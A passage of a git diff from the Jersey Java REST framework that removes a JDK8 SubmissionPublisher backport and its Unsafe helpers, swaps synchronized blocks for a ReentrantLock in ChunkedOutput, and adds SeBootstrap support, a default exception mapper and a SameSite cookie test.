- * Returns estimated number of buffered items, or -1 if
- * disabled.
- */
- final int estimateLag() {
- int n;
- return (ctl == DISABLED) ? -1 : ((n = tail - head) > 0) ? n : 0;
- }
-
- /**
- * Tries to add item and start consumer task if necessary.
- *
- * @return -1 if disabled, 0 if dropped, else estimated lag
- */
- final int offer(T item) {
- int h = head, t = tail, cap, size, stat;
- Object[] a = array;
- if (a != null && (cap = a.length) > 0 && cap >= (size = t + 1 - h)) {
- a[(cap - 1) & t] = item; // relaxed writes OK
- tail = t + 1;
- stat = size;
- } else {
- stat = growAndAdd(a, item);
- }
- return (stat > 0 && (ctl & (ACTIVE | CONSUME)) != (ACTIVE | CONSUME)) ? startOnOffer(stat) : stat;
- }
-
- /**
- * Tries to create or expand buffer, then adds item if possible.
- */
- private int growAndAdd(Object[] a, T item) {
- boolean alloc;
- int cap, stat;
- if ((ctl & (ERROR | DISABLED)) != 0) {
- cap = 0;
- stat = -1;
- alloc = false;
- } else if (a == null || (cap = a.length) <= 0) {
- cap = 0;
- stat = 1;
- alloc = true;
- } else {
- U.fullFence(); // recheck
- int h = head, t = tail, size = t + 1 - h;
- if (cap >= size) {
- a[(cap - 1) & t] = item;
- tail = t + 1;
- stat = size;
- alloc = false;
- } else if (cap >= maxCapacity) {
- stat = 0; // cannot grow
- alloc = false;
- } else {
- stat = cap + 1;
- alloc = true;
- }
- }
- if (alloc) {
- int newCap = (cap > 0) ? cap << 1 : 1;
- if (newCap <= cap) {
- stat = 0;
- } else {
- Object[] newArray = null;
- try {
- newArray = new Object[newCap];
- } catch (Throwable ex) { // try to cope with OOME
- }
- if (newArray == null) {
- if (cap > 0) {
- maxCapacity = cap; // avoid continuous failure
- }
- stat = 0;
- } else {
- array = newArray;
- int t = tail;
- int newMask = newCap - 1;
- if (a != null && cap > 0) {
- int mask = cap - 1;
- for (int j = head; j != t; ++j) {
- long k = ((long) (j & mask) << ASHIFT) + ABASE;
- Object x = U.getObjectVolatile(a, k);
- if (x != null && // races with consumer
- U.compareAndSwapObject(a, k, x, null)) {
- newArray[j & newMask] = x;
- }
- }
- }
- newArray[t & newMask] = item;
- tail = t + 1;
- }
- }
- }
- return stat;
- }
-
- /**
- * Spins/helps/blocks while offer returns 0. Called only if
- * initial offer return 0.
- */
- final int submit(T item) {
- int stat;
- if ((stat = offer(item)) == 0) {
- putItem = item;
- timeout = 0L;
- putStat = 0;
- // safe to comment out when executor != ForkJoinPool (TODO)
- // ForkJoinPool.helpAsyncBlocker(executor, this);
- if ((stat = putStat) == 0) {
- try {
- ForkJoinPool.managedBlock(this);
- } catch (InterruptedException ie) {
- timeout = INTERRUPTED;
- }
- stat = putStat;
- }
- if (timeout < 0L) {
- Thread.currentThread().interrupt();
- }
- }
- return stat;
- }
-
- /**
- * Timeout version; similar to submit.
- */
- final int timedOffer(T item, long nanos) {
- int stat;
- if ((stat = offer(item)) == 0 && (timeout = nanos) > 0L) {
- putItem = item;
- putStat = 0;
- // safe to comment out when executor != ForkJoinPool (TODO)
- // ForkJoinPool.helpAsyncBlocker(executor, this);
- if ((stat = putStat) == 0) {
- try {
- ForkJoinPool.managedBlock(this);
- } catch (InterruptedException ie) {
- timeout = INTERRUPTED;
- }
- stat = putStat;
- }
- if (timeout < 0L) {
- Thread.currentThread().interrupt();
- }
- }
- return stat;
- }
-
- /**
- * Tries to start consumer task after offer.
- *
- * @return -1 if now disabled, else argument
- */
- private int startOnOffer(int stat) {
- for (;;) {
- Executor e;
- int c;
- if ((c = ctl) == DISABLED || (e = executor) == null) {
- stat = -1;
- break;
- } else if ((c & ACTIVE) != 0) { // ensure keep-alive
- if ((c & CONSUME) != 0 || U.compareAndSwapInt(this, CTL, c, c | CONSUME)) {
- break;
- }
- } else if (demand == 0L || tail == head) {
- break;
- } else if (U.compareAndSwapInt(this, CTL, c,
- c | (ACTIVE | CONSUME))) {
- try {
- e.execute(new ConsumerTask<T>(this));
- break;
- } catch (RuntimeException | Error ex) { // back out
- do {
- } while (((c = ctl) & DISABLED) == 0
- && (c & ACTIVE) != 0
- && !U.compareAndSwapInt(this, CTL, c, c & ~ACTIVE));
- throw ex;
- }
- }
- }
- return stat;
- }
-
- private void signalWaiter(Thread w) {
- waiter = null;
- LockSupport.unpark(w); // release producer
- }
-
- /**
- * Nulls out most fields, mainly to avoid garbage retention
- * until publisher unsubscribes, but also to help cleanly stop
- * upon error by nulling required components.
- */
- private void detach() {
- Thread w = waiter;
- executor = null;
- subscriber = null;
- pendingError = null;
- signalWaiter(w);
- }
-
- /**
- * Issues error signal, asynchronously if a task is running,
- * else synchronously.
- */
- final void onError(Throwable ex) {
- for (int c;;) {
- if (((c = ctl) & (ERROR | DISABLED)) != 0) {
- break;
- } else if ((c & ACTIVE) != 0) {
- pendingError = ex;
- if (U.compareAndSwapInt(this, CTL, c, c | ERROR)) {
- break; // cause consumer task to exit
- }
- } else if (U.compareAndSwapInt(this, CTL, c, DISABLED)) {
- Flow.Subscriber<? super T> s = subscriber;
- if (s != null && ex != null) {
- try {
- s.onError(ex);
- } catch (Throwable ignore) {
- }
- }
- detach();
- break;
- }
- }
- }
-
- /**
- * Tries to start consumer task upon a signal or request;
- * disables on failure.
- */
- private void startOrDisable() {
- Executor e;
- if ((e = executor) != null) { // skip if already disabled
- try {
- e.execute(new ConsumerTask<T>(this));
- } catch (Throwable ex) { // back out and force signal
- for (int c;;) {
- if ((c = ctl) == DISABLED || (c & ACTIVE) == 0) {
- break;
- }
- if (U.compareAndSwapInt(this, CTL, c, c & ~ACTIVE)) {
- onError(ex);
- break;
- }
- }
- }
- }
- }
-
- final void onComplete() {
- for (int c;;) {
- if ((c = ctl) == DISABLED) {
- break;
- }
- if (U.compareAndSwapInt(this, CTL, c,
- c | (ACTIVE | CONSUME | COMPLETE))) {
- if ((c & ACTIVE) == 0) {
- startOrDisable();
- }
- break;
- }
- }
- }
-
- final void onSubscribe() {
- for (int c;;) {
- if ((c = ctl) == DISABLED) {
- break;
- }
- if (U.compareAndSwapInt(this, CTL, c,
- c | (ACTIVE | CONSUME | SUBSCRIBE))) {
- if ((c & ACTIVE) == 0) {
- startOrDisable();
- }
- break;
- }
- }
- }
-
- /**
- * Causes consumer task to exit if active (without reporting
- * onError unless there is already a pending error), and
- * disables.
- */
- public void cancel() {
- for (int c;;) {
- if ((c = ctl) == DISABLED) {
- break;
- } else if ((c & ACTIVE) != 0) {
- if (U.compareAndSwapInt(this, CTL, c,
- c | (CONSUME | ERROR))) {
- break;
- }
- } else if (U.compareAndSwapInt(this, CTL, c, DISABLED)) {
- detach();
- break;
- }
- }
- }
-
- /**
- * Adds to demand and possibly starts task.
- */
- public void request(long n) {
- if (n > 0L) {
- for (;;) {
- long prev = demand, d;
- if ((d = prev + n) < prev) { // saturate
- d = Long.MAX_VALUE;
- }
- if (U.compareAndSwapLong(this, DEMAND, prev, d)) {
- for (int c, h;; ) {
- if ((c = ctl) == DISABLED) {
- break;
- } else if ((c & ACTIVE) != 0) {
- if ((c & CONSUME) != 0 || U.compareAndSwapInt(this, CTL, c, c | CONSUME)) {
- break;
- }
- } else if ((h = head) != tail) {
- if (U.compareAndSwapInt(this, CTL, c,
- c | (ACTIVE | CONSUME))) {
- startOrDisable();
- break;
- }
- } else if (head == h && tail == h) {
- break; // else stale
- }
- if (demand == 0L) {
- break;
- }
- }
- break;
- }
- }
- } else if (n < 0L) {
- onError(new IllegalArgumentException(
- "negative subscription request"));
- }
- }
-
- public final boolean isReleasable() { // for ManagedBlocker
- T item = putItem;
- if (item != null) {
- if ((putStat = offer(item)) == 0) {
- return false;
- }
- putItem = null;
- }
- return true;
- }
-
- public final boolean block() { // for ManagedBlocker
- T item = putItem;
- if (item != null) {
- putItem = null;
- long nanos = timeout;
- long deadline = (nanos > 0L) ? System.nanoTime() + nanos : 0L;
- while ((putStat = offer(item)) == 0) {
- if (Thread.interrupted()) {
- timeout = INTERRUPTED;
- if (nanos > 0L) {
- break;
- }
- } else if (nanos > 0L && (nanos = deadline - System.nanoTime()) <= 0L) {
- break;
- } else if (waiter == null) {
- waiter = Thread.currentThread();
- } else {
- if (nanos > 0L) {
- LockSupport.parkNanos(this, nanos);
- } else {
- LockSupport.park(this);
- }
- waiter = null;
- }
- }
- }
- waiter = null;
- return true;
- }
-
- /**
- * Consumer loop, called from ConsumerTask, or indirectly
- * when helping during submit.
- */
- final void consume() {
- Flow.Subscriber<? super T> s;
- int h = head;
- if ((s = subscriber) != null) { // else disabled
- for (;;) {
- long d = demand;
- int c;
- Object[] a;
- int n;
- long i;
- Object x;
- Thread w;
- if (((c = ctl) & (ERROR | SUBSCRIBE | DISABLED)) != 0) {
- if (!checkControl(s, c)) {
- break;
- }
- } else if ((a = array) == null || h == tail
- || (n = a.length) == 0
- || (x = U.getObjectVolatile(a, (i = ((long) ((n - 1) & h) << ASHIFT) + ABASE))) == null) {
- if (!checkEmpty(s, c)) {
- break;
- }
- } else if (d == 0L) {
- if (!checkDemand(c)) {
- break;
- }
- } else if (((c & CONSUME) != 0
- || U.compareAndSwapInt(this, CTL, c, c | CONSUME))
- && U.compareAndSwapObject(a, i, x, null)) {
- U.putOrderedInt(this, HEAD, ++h);
- U.getAndAddLong(this, DEMAND, -1L);
- if ((w = waiter) != null) {
- signalWaiter(w);
- }
- try {
- @SuppressWarnings("unchecked") T y = (T) x;
- s.onNext(y);
- } catch (Throwable ex) {
- handleOnNext(s, ex);
- }
- }
- }
- }
- }
-
- /**
- * Responds to control events in consume().
- */
- private boolean checkControl(Flow.Subscriber<? super T> s, int c) {
- boolean stat = true;
- if ((c & SUBSCRIBE) != 0) {
- if (U.compareAndSwapInt(this, CTL, c, c & ~SUBSCRIBE)) {
- try {
- if (s != null) {
- s.onSubscribe(this);
- }
- } catch (Throwable ex) {
- onError(ex);
- }
- }
- } else if ((c & ERROR) != 0) {
- Throwable ex = pendingError;
- ctl = DISABLED; // no need for CAS
- if (ex != null) { // null if errorless cancel
- try {
- if (s != null) {
- s.onError(ex);
- }
- } catch (Throwable ignore) {
- }
- }
- } else {
- detach();
- stat = false;
- }
- return stat;
- }
-
- /**
- * Responds to apparent emptiness in consume().
- */
- private boolean checkEmpty(Flow.Subscriber<? super T> s, int c) {
- boolean stat = true;
- if (head == tail) {
- if ((c & CONSUME) != 0) {
- U.compareAndSwapInt(this, CTL, c, c & ~CONSUME);
- } else if ((c & COMPLETE) != 0) {
- if (U.compareAndSwapInt(this, CTL, c, DISABLED)) {
- try {
- if (s != null) {
- s.onComplete();
- }
- } catch (Throwable ignore) {
- }
- }
- } else if (U.compareAndSwapInt(this, CTL, c, c & ~ACTIVE)) {
- stat = false;
- }
- }
- return stat;
- }
-
- /**
- * Responds to apparent zero demand in consume().
- */
- private boolean checkDemand(int c) {
- boolean stat = true;
- if (demand == 0L) {
- if ((c & CONSUME) != 0) {
- U.compareAndSwapInt(this, CTL, c, c & ~CONSUME);
- } else if (U.compareAndSwapInt(this, CTL, c, c & ~ACTIVE)) {
- stat = false;
- }
- }
- return stat;
- }
-
- /**
- * Processes exception in Subscriber.onNext.
- */
- private void handleOnNext(Flow.Subscriber<? super T> s, Throwable ex) {
- BiConsumer<? super Flow.Subscriber<? super T>, ? super Throwable> h;
- if ((h = onNextHandler) != null) {
- try {
- h.accept(s, ex);
- } catch (Throwable ignore) {
- }
- }
- onError(ex);
- }
-
- // Unsafe mechanics
- private static final sun.misc.Unsafe U = UnsafeAccessor.getUnsafe();
- private static final long CTL;
- private static final long TAIL;
- private static final long HEAD;
- private static final long DEMAND;
- private static final int ABASE;
- private static final int ASHIFT;
-
- static {
- try {
- CTL = U.objectFieldOffset(BufferedSubscription.class.getDeclaredField("ctl"));
- TAIL = U.objectFieldOffset(BufferedSubscription.class.getDeclaredField("tail"));
- HEAD = U.objectFieldOffset(BufferedSubscription.class.getDeclaredField("head"));
- DEMAND = U.objectFieldOffset(BufferedSubscription.class.getDeclaredField("demand"));
-
- ABASE = U.arrayBaseOffset(Object[].class);
- int scale = U.arrayIndexScale(Object[].class);
- if ((scale & (scale - 1)) != 0) {
- throw new Error("data type scale not a power of two");
- }
- ASHIFT = 31 - Integer.numberOfLeadingZeros(scale);
- } catch (ReflectiveOperationException e) {
- throw new Error(e);
- }
-
- // Reduce the risk of rare disastrous classloading in first call to
- // LockSupport.park: https://bugs.openjdk.java.net/browse/JDK-8074773
- Class<?> ensureLoaded = LockSupport.class;
- }
- }
-}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java b/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java
deleted file mode 100644
index 3729469..0000000
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.internal.jsr166;
-
-import java.util.concurrent.Executor;
-import java.util.concurrent.ForkJoinPool;
-import java.util.function.BiConsumer;
-
-/**
- * Factory creating JDK8 compatible SubmissionPublisher (Jdk8SubmissionPublisher) or JDK 9+ SubmissionPublisher
- */
-public class SubmissionPublisherFactory {
-
- /**
- * Creates a new SubmissionPublisher using the {@link
- * ForkJoinPool#commonPool()} for async delivery to subscribers
- * (unless it does not support a parallelism level of at least two,
- * in which case, a new Thread is created to run each task), with
- * maximum buffer capacity of {@link Flow#defaultBufferSize}, and no
- * handler for Subscriber exceptions in method {@link
- * Flow.Subscriber#onNext(Object) onNext}.
- */
- public static <T> SubmittableFlowPublisher<T> createSubmissionPublisher() {
- return new SubmissionPublisher<T>();
- }
-
- public static <T> SubmittableFlowPublisher<T> createSubmissionPublisher(Executor executor,
- int maxBufferCapacity) {
- return new SubmissionPublisher<T>(executor, maxBufferCapacity);
- }
-
- public static <T> SubmittableFlowPublisher<T> createSubmissionPublisher(Executor executor,
- int maxBufferCapacity,
- BiConsumer<? super Flow.Subscriber<? super T>,
- ? super Throwable> handler) {
- return new SubmissionPublisher<T>(executor, maxBufferCapacity, handler);
- }
-
-}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/UnsafeAccessor.java b/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/UnsafeAccessor.java
deleted file mode 100644
index 19f9887..0000000
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/UnsafeAccessor.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (c) 2017, 2019 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.internal.jsr166;
-
-import sun.misc.Unsafe;
-
-import java.lang.reflect.Field;
-import java.security.PrivilegedExceptionAction;
-
-/**
- * Helper for classes in the jsr166 package to access the {@code sun.misc.Unsafe} instance.
- *
- * @author Adam Lindenthal
- */
-class UnsafeAccessor {
- static sun.misc.Unsafe getUnsafe() {
- try {
- return sun.misc.Unsafe.getUnsafe();
- } catch (SecurityException tryReflectionInstead) {
- }
- try {
- return java.security.AccessController.doPrivileged((PrivilegedExceptionAction<Unsafe>) () -> {
- Class<Unsafe> k = Unsafe.class;
- for (Field f : k.getDeclaredFields()) {
- f.setAccessible(true);
- Object x = f.get(null);
- if (k.isInstance(x)) {
- return k.cast(x);
- }
- }
- throw new NoSuchFieldError("the Unsafe");
- });
- } catch (java.security.PrivilegedActionException e) {
- throw new RuntimeException("Could not initialize intrinsics", e.getCause());
- }
-
-
- }
-}
diff --git a/core-common/src/main/resources/org/glassfish/jersey/internal/localization.properties b/core-common/src/main/resources/org/glassfish/jersey/internal/localization.properties
index 285b9de..b60bf25 100644
--- a/core-common/src/main/resources/org/glassfish/jersey/internal/localization.properties
+++ b/core-common/src/main/resources/org/glassfish/jersey/internal/localization.properties
@@ -1,5 +1,5 @@
#
-# Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
# Copyright (c) 2018 Payara Foundation and/or its affiliates.
#
# This program and the accompanying materials are made available under the
@@ -116,6 +116,7 @@
new.cookie.is.null=New cookie is null.
no.container.available=No container available.
no.error.processing.in.scope=There is no error processing in scope.
+no.entitypart.builder.found="No EntityPart.Builder implementation found. Is jersey-media-multipart on a classpath?";
not.supported.on.outbound.message=Method not supported on an outbound message.
osgi.registry.error.opening.resource.stream=Unable to open an input stream for resource {0}.
osgi.registry.error.processing.resource.stream=Unexpected error occurred while processing resource stream {0}.
diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java b/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java
index 55884e1..b7d0472 100644
--- a/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java
+++ b/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,8 +16,10 @@
package org.glassfish.jersey.internal;
+import jakarta.ws.rs.SeBootstrap;
import jakarta.ws.rs.WebApplicationException;
import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.EntityPart;
import jakarta.ws.rs.core.Link;
import jakarta.ws.rs.core.MediaType;
import jakarta.ws.rs.core.Response;
@@ -29,6 +31,8 @@
import org.junit.jupiter.api.Assertions;
+import java.util.concurrent.CompletionStage;
+
/**
* Test runtime delegate.
*
@@ -46,6 +50,22 @@
throw new UnsupportedOperationException("Not supported yet.");
}
+ @Override
+ public SeBootstrap.Configuration.Builder createConfigurationBuilder() {
+ throw new UnsupportedOperationException("Not supported yet.");
+ }
+
+ @Override
+ public CompletionStage<SeBootstrap.Instance> bootstrap(Application application, SeBootstrap.Configuration configuration) {
+ throw new UnsupportedOperationException("Not supported yet.");
+ }
+
+ @Override
+ public CompletionStage<SeBootstrap.Instance> bootstrap(Class<? extends Application> aClass,
+ SeBootstrap.Configuration configuration) {
+ throw new UnsupportedOperationException("Not supported yet.");
+ }
+
public void testMediaType() {
MediaType m = new MediaType("text", "plain");
Assertions.assertNotNull(m);
diff --git a/core-common/src/test/java/org/glassfish/jersey/message/internal/NewCookieProviderTest.java b/core-common/src/test/java/org/glassfish/jersey/message/internal/NewCookieProviderTest.java
new file mode 100644
index 0000000..bed3458
--- /dev/null
+++ b/core-common/src/test/java/org/glassfish/jersey/message/internal/NewCookieProviderTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.message.internal;
+
+import jakarta.ws.rs.core.NewCookie;
+import org.junit.jupiter.api.Test;
+
+import java.util.Date;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class NewCookieProviderTest {
+
+ private final NewCookie newCookie = new NewCookie(
+ "test",
+ "value",
+ "/",
+ "localhost",
+ 1,
+ "comment",
+ 60,
+ new Date(),
+ true,
+ true,
+ NewCookie.SameSite.STRICT
+ );
+
+ @Test
+ public void SameSiteTest() {
+ final NewCookieProvider provider = new NewCookieProvider();
+ final String newCookieString = provider.toString(newCookie);
+ assertTrue(newCookieString.contains("SameSite=Strict"));
+ assertEquals(NewCookie.SameSite.STRICT, provider.fromString(newCookieString).getSameSite());
+ }
+
+}
diff --git a/core-server/pom.xml b/core-server/pom.xml
index f0af2e8..cacf3a6 100644
--- a/core-server/pom.xml
+++ b/core-server/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.core</groupId>
@@ -243,6 +243,12 @@
<version>${project.version}</version>
<scope>test</scope>
</dependency>
+
+ <dependency>
+ <groupId>org.assertj</groupId>
+ <artifactId>assertj-core</artifactId>
+ <scope>test</scope>
+ </dependency>
</dependencies>
<profiles>
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java b/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java
index 42d11dd..7d75df1 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java
@@ -222,7 +222,20 @@
* application handler.
*/
public ApplicationHandler(final Class<? extends Application> jaxrsApplicationClass) {
- initialize(new ApplicationConfigurator(jaxrsApplicationClass), Injections.createInjectionManager(), null);
+ this(jaxrsApplicationClass, null);
+ }
+
+ /**
+ * Create a new Jersey server-side application handler configured by a
+ * {@link Application JAX-RS Application (sub-)class}.
+ *
+ * @param applicationClass JAX-RS {@code Application} (sub-)class that will be
+ * instantiated and used to configure the new Jersey
+ * application handler.
+ * @param customBinder additional custom bindings used to configure the application's.
+ */
+ public ApplicationHandler(final Class<? extends Application> applicationClass, final Binder customBinder) {
+ initialize(new ApplicationConfigurator(applicationClass), Injections.createInjectionManager(), customBinder);
}
/**
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ChunkedOutput.java b/core-server/src/main/java/org/glassfish/jersey/server/ChunkedOutput.java
index 2ce0542..b671e68 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ChunkedOutput.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ChunkedOutput.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,6 +26,8 @@
import java.util.concurrent.Callable;
import java.util.concurrent.LinkedBlockingDeque;
import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
import jakarta.ws.rs.container.ConnectionCallback;
import jakarta.ws.rs.core.GenericType;
@@ -54,7 +56,7 @@
private final BlockingDeque<T> queue = new LinkedBlockingDeque<>();
private final byte[] chunkDelimiter;
private final AtomicBoolean resumed = new AtomicBoolean(false);
- private final Object lock = new Object();
+ private final Lock lock = new ReentrantLock();
// the following flushing and touchingEntityStream variables are used in a synchronized block exclusively
private boolean flushing = false;
@@ -202,7 +204,8 @@
boolean shouldClose;
T t;
- synchronized (lock) {
+ lock.lock();
+ try {
if (flushing) {
// if another thread is already flushing the queue, we don't have to do anything
return null;
@@ -220,13 +223,15 @@
// and they don't have to bother
flushing = true;
}
+ } finally {
+ lock.unlock();
}
while (t != null) {
try {
- synchronized (lock) {
- touchingEntityStream = true;
- }
+ lock.lock();
+ touchingEntityStream = true;
+ lock.unlock();
final OutputStream origStream = responseContext.getEntityStream();
final OutputStream writtenStream = requestContext.getWorkers().writeTo(
@@ -265,14 +270,15 @@
}
throw mpe;
} finally {
- synchronized (lock) {
- touchingEntityStream = false;
- }
+ lock.lock();
+ touchingEntityStream = false;
+ lock.unlock();
}
t = queue.poll();
if (t == null) {
- synchronized (lock) {
+ lock.lock();
+ try {
// queue seems empty
// check again in the synchronized block before clearing the flushing flag
// first remember the closed flag (this has to be before polling the queue,
@@ -290,6 +296,8 @@
flushing = shouldClose;
break;
}
+ } finally {
+ lock.unlock();
}
}
}
@@ -303,18 +311,20 @@
onClose(e);
} finally {
if (closed) {
+ lock.lock();
try {
- synchronized (lock) {
- if (!touchingEntityStream) {
- responseContext.close();
- } // else the next thread will close responseContext
- }
+ if (!touchingEntityStream) {
+ responseContext.close();
+ } // else the next thread will close responseContext
} catch (final Exception e) {
// if no exception remembered before, remember this one
// otherwise the previously remembered exception (from catch clause) takes precedence
ex = ex == null ? e : ex;
+ } finally {
+ lock.unlock();
}
+
requestScopeContext.release();
// rethrow remembered exception (if any)
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java b/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java
index 3105c2f..6d9fba2 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java
@@ -301,6 +301,11 @@
}
@Override
+ public boolean hasProperty(final String name) {
+ return propertiesDelegate.hasProperty(name);
+ }
+
+ @Override
public Object getProperty(final String name) {
return propertiesDelegate.getProperty(name);
}
@@ -821,13 +826,13 @@
}
/**
- * Get the values of a HTTP request header. The returned List is read-only.
- * This is a shortcut for {@code getRequestHeaders().get(name)}.
+ * Get the values of an HTTP request header if the header exists on the current request. The returned value will be
+ * a read-only List if the specified header exists or {@code null} if it does not. This is a shortcut for
+ * {@code getRequestHeaders().get(name)}.
*
* @param name the header name, case insensitive.
- * @return a read-only list of header values.
- *
- * @throws IllegalStateException if called outside the scope of a request.
+ * @return a read-only list of header values if the specified header exists, otherwise {@code null}.
+ * @throws java.lang.IllegalStateException if called outside the scope of a request.
*/
@Override
public List<String> getRequestHeader(final String name) {
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/DefaultExceptionMapper.java b/core-server/src/main/java/org/glassfish/jersey/server/DefaultExceptionMapper.java
new file mode 100644
index 0000000..bd7c4d1
--- /dev/null
+++ b/core-server/src/main/java/org/glassfish/jersey/server/DefaultExceptionMapper.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server;
+
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.ext.ExceptionMapper;
+import org.glassfish.jersey.server.internal.LocalizationMessages;
+
+class DefaultExceptionMapper implements ExceptionMapper<Throwable> {
+ @Override
+ public Response toResponse(Throwable exception) {
+ return (exception instanceof WebApplicationException)
+ ? processWebApplicationException((WebApplicationException) exception)
+ : processDefaultException(exception);
+ }
+
+ private static Response processWebApplicationException(WebApplicationException exception) {
+ return (exception.getResponse() == null)
+ ? processDefaultException(exception)
+ : exception.getResponse();
+ }
+
+ private static Response processDefaultException(Throwable exception) {
+ return Response.status(Response.Status.INTERNAL_SERVER_ERROR)
+ .entity(LocalizationMessages.ERROR_EXCEPTION_MAPPING_THROWN_TO_CONTAINER())
+ .build();
+ }
+}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/JerseySeBootstrapConfiguration.java b/core-server/src/main/java/org/glassfish/jersey/server/JerseySeBootstrapConfiguration.java
new file mode 100644
index 0000000..0f1d6d7
--- /dev/null
+++ b/core-server/src/main/java/org/glassfish/jersey/server/JerseySeBootstrapConfiguration.java
@@ -0,0 +1,321 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.UriBuilder;
+import org.glassfish.jersey.internal.config.ExternalPropertiesConfigurationFactory;
+import org.glassfish.jersey.internal.config.SystemPropertiesConfigurationModel;
+import org.glassfish.jersey.internal.util.PropertiesClass;
